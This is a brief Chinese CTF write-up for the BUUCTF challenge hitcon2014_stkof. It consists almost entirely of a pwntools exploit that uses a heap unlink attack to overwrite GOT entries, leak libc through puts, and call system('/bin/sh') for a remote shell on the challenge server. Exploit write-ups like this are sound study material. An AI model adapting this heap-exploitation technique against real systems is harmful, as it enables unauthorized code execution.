buuctf hitcon2014_stkof 4/100

这个题目之前做过，所有这次并没有什么大问题。

unlink

exp:

from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn",28398)
context.log_level = "debug"
context.arch = "amd64"

e = ELF("./stkof")
# chunk_addr = 0x602140

def add(size):
	p.sendline(b"1")
	p.sendline(str(size).encode())
	p.recvuntil(b"OK\n")

def edit(index,size,context):
	p.sendline(b'2')
	p.sendline(str(index).encode())
	p.sendline(str(size).encode())
	p.send(context)
	p.recvuntil(b"OK\n")
def delete(index):
	p.sendline(b'3')
	p.sendline(str(index).encode())

chunk_addr = 0x602140

add(0x10)#1
add(0x20)#2
add(0x80)#3
add(0x10)#4
# gdb.attach(p)
fd = chunk_addr - 0x8
bk = chunk_addr
pl1 = p64(0)+ p64(0x20) + p64(fd) + p64(bk) + p64(0x20) + p64(0x90)
edit(2,len(pl1),pl1)
delete(3)
pl2 = p64(0) + p64(e.got["free"]) + p64(e.got['puts']) + p64(e.got['atoi'])
edit(2,len(pl2),pl2)
# gdb.attach(p)
pl3 = p64(e.plt['puts'])
edit(0,len(pl3),pl3)
# # gdb.attach(p)
delete(1)
puts_addr = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
success("puts_addr :"+hex(puts_addr))
libc = LibcSearcher("puts",puts_addr)

libc_base = puts_addr - libc.dump('puts')
success("libc_base :" +hex(libc_base))#
sys = libc_base + libc.dump('system')
pl4 = '/bin/sh\x00\x00'

edit(4,len(pl4),pl4)

pl5 = p64(sys)
pl5 = edit(0,len(pl5),pl5)
delete(4)


p.interactive()